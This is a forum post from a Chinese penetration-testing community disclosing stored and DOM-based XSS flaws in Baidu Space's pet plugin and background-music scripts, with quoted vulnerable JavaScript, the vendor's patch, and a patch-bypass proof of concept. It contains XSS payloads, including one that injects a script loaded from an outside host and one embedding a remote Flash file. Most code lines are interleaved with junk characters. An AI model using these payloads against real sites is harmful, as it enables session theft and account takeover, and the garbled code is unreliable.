中国网络渗透测试联盟

标题: hi.baidu Xss 漏洞 [打印本页]

作者: admin    时间: 2013-8-24 11:51
标题: hi.baidu Xss 漏洞
百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.  
6 S  \- u% H3 `  x+ |9 q5 y& C( R9 a8 f; `& q* h
1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.  9 [) Q  Q" h$ B2 E4 X
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中  ! e5 Y" X7 J( W) _: s9 ~  O4 @3 @
1 A; _% y7 T3 n% B6 A
将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>  / O" c1 o: g8 |8 V& `+ m
其中BdUtil.insertWBR为  
. T# Q' u' T9 c* F& q: M8 H% Tfunction(text, step) {  
7 I8 p$ C- y  F- a' L8 j: d    var textarea = textAreaCache || getContainer();  $ m" M2 {, n) `# n
    if (!textarea) {  
- F/ A: W  c) \# D        return text;  & ?6 l; C# ~# Z- j
    }  , k. ]7 {' j# c+ ~( L+ D, z! v- Y
    textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");  
8 d7 q6 @/ _1 M    var string = textarea.value;  6 p2 c( }; p, X1 w' |' ~, ^) w
    var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");  
, m5 Q% S, Y) v# a2 h    var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");  
+ V$ f6 O( n. O3 a- S) u9 d! N    return result;  
# d4 s& k  m5 J) J, w}  
( [3 u) M4 R# m9 Q5 u  R在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.  # i8 y" [1 b' u# x
测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>  
' ~# }. s" K4 W& B  ?$ G   . m; G3 O2 F8 y+ L( y% @
二:creatbgmusic() Dom-Xss Bug  ; n- @2 a2 O& r/ q0 U- {
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞  % ?  n7 |4 d" [- |5 z2 D5 M$ F

& w8 |/ D9 A# ^; h$ r( P在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:  
7 J" R2 v" E% v8 D+ V2 b+ A
; d# S& ^$ j% R' J, `function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {  # ], i" V# r6 \) l* Q! T9 I- T7 |4 I
    //传入的murl赋值到bgmusic1和bgmusic2中  
) T% X  B9 q* k2 Z    //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1  
" s/ L; m& L8 Z+ {$ R% p' `    var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\"  VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";  
% s$ z. }2 y+ y5 l& g' y    if (musicnum <= 1) {  * k8 a( `( |" P& v! z! [
        bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";  
  u' P$ t  x5 z; |    }  ; y! k3 W0 H, R, ]8 u$ }0 G& s# c6 J
    bgmusic1 += "</OBJECT>";  / |  j8 u1 K, _8 s
    var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";  
3 l4 i( y) c) e% J; n% j3 ]3 W    if (musicnum <= 1) {  
* l9 L! T& c8 R1 [. v$ R1 v6 l        bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";  ( P) t9 T/ G9 @& m5 g2 i
    }  , N* G) A& h, b9 _1 a
    bgmusic2 += "> </EMBED>";  # e! E: X& w& o
    var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";  / [0 _: S$ p" f6 y
    var bgmus = detectWMP();  
2 T. H; b, t8 ^  D  x; I" e    if (functype == "FckMusicHelper") {  
$ D1 k$ @8 D6 f2 S$ U- O& b        if (bgmus.installed) {  
3 U. ~- @& t4 D4 V            if (bgmus.type == "IE") {  
( e: r: j: z% U- B9 W) w) I  O                return bgmusic1;  
' X2 E9 N: O" a, {  M: J) |            } else if (bgmus.type == "NS") {  
9 ^) G  u0 _% r0 J& |                return bgmusic2;  
$ L: R4 `. |, R' t4 J$ L. |            }  
* k$ z* e. K9 a1 Y& M        } else {  / C% z: v/ ?6 H8 K$ [8 m' d
            return bgmusic3;  
6 h2 ?* N% ?4 f3 I2 {) B        }  
3 ?3 H  h3 l5 U    } else {  
0 v% R8 _4 z, a' _        if (bgmus.installed) {  
* N/ Y' n$ N$ j0 n8 t3 v5 }( G            //document.write 直接输出bgmusic变量 导致xss  1 M1 L$ t3 |$ B8 O# h$ _/ _
            if (bgmus.type == "IE") {  
3 @. V& |1 h, l7 k0 R3 o                document.write(bgmusic1);  
( ?, Y2 ?) h; T7 j8 z# T: L            } else if (bgmus.type == "NS") {  
3 }* `& T& P" Q  W5 f                document.write(bgmusic2);  
! [8 }5 `# U/ u1 |9 Q7 z            }  
" s  r$ V, h: }        } else {  $ ~3 f) ?8 z1 _% ?) n5 N
            document.write(bgmusic3);  
& S! _' Z0 G  \% ~0 ]        }  - @/ U* B& t% m0 D& s
        return "";  % \8 S; \' q% ?+ |/ F
    }  
2 `0 g, D& T. l, {4 ~- E}  
$ V$ w+ @# M# n& Q3 `5 r3 c) Q6 I# ~7 {1 ~9 F3 D2 x9 o
在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:  
1 I, \% O0 \' \: j% i2 q  ?4 |, b* N3 x
function initBlogTextForFCK(){  ( G, h8 p! j3 L5 Y$ `, \
//fck init music  " V: Z5 O" g" }' @$ U2 @2 u
if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}  
4 p9 A1 J! C% x! Z1 h& b  I" ~: Kvar imgBox=document.getElementsByName(’musicName’);   //取得了文章中的所有name="musicName"的标签数组  
! R1 ]( a6 o6 x8 k6 w- u* A$ Svar isAutoPlay=true;  ' l9 ~/ A2 a% c( q& Y* h/ y3 x
for(var i=0,n=imgBox.length;i<n;i++){  //然后遍历.  6 E1 a! W2 E" y
  var img=imgBox;  ' y* P8 d5 r% Y* o  `# f9 Q
  if(img.getAttribute(’rel’)){        
4 i9 D/ O# X( P$ g& {( P2 d& j   var musicSrc=img.getAttribute(’rel’);    //取得标签中rel的值,赋值给musicSrc  
" ~! N: ?- Q% b; G9 y8 z   var musicDiv = document.createElement("SPAN");  
5 C: d# X* y/ ~% w8 S6 U0 L9 e   var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1);  //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]  " ~1 Y% r( H% s; A
     $ B7 G! E- F# R* f8 s+ K" V
      ..........................  
6 v7 X( x/ E8 K  q' |     $ b) ?& e  U3 Z0 q+ r2 H0 @8 z$ Q
   //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.   
( [# x$ l% V/ M& L( N; n: i   var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  
! N: R7 X+ d  F; O8 D& C7 I   shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’);   img.replaceNode(musicDiv);  
! H8 E% I* e" s! w( N5 w' j& H   musicDiv.innerHTML=shtml;  
* ?1 C( Q, \0 b' m& D   i--;n--;  
4 g% L' T+ ]3 M+ P0 W- v+ Q( A  }  2 H# _( X( e. M& ?+ ^
}  7 Y3 J& D8 y/ _" _, Q

5 I: U# ?8 d! _从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.  
# |# y8 f3 ?: R9 G9 _# U   
" g( C8 m. h" [7 [1 A测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>  $ C. q) e3 K; {' }) P7 `& Z

, m0 y( M  y: z3 E3 _; y等待官方补丁  
* l) z- L; |$ }7 g3 k, W: ~) z) j: i) P, s* y8 r6 S
update 2010年5月13日   % L0 L0 o0 p4 a1 l4 W) C
# K0 C' s! s# p& O% }6 I; S
官方补丁:  
. D* y# n4 [  E' `( P
: p3 `  A1 |- \2 }1 x% d/ K( kvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  ' |9 S# |& Q3 n
改为:  9 o& h7 N- y( W+ o/ v7 U
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);  . C& Y  d: V2 H3 G& O8 z3 B
0 B! B8 k" _+ y, u
update 2010年5月13日 21:50:37  . Y+ A$ A$ W" B* G4 c

+ o- e; D4 f6 i+ F7 U8 E1 _( \补丁存在漏洞 没有过滤" 可以继续跨:  % ^$ S* h0 W: N$ ?, O
& V& Q' a  E) O: C
NEW POC:  
; C: _, o" A+ A7 D6 k/ g
8 P( O; R( C- k: o" K% \<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf" 2 ^) ^1 L* }2 n% F& u. X. {

* c+ j8 P4 I4 n. h% O& T2 }! Vallowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
1 W0 c$ c! t0 ?% q5 d ! q- n5 f& |3 w& U" N+ g5 ^+ T4 F





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2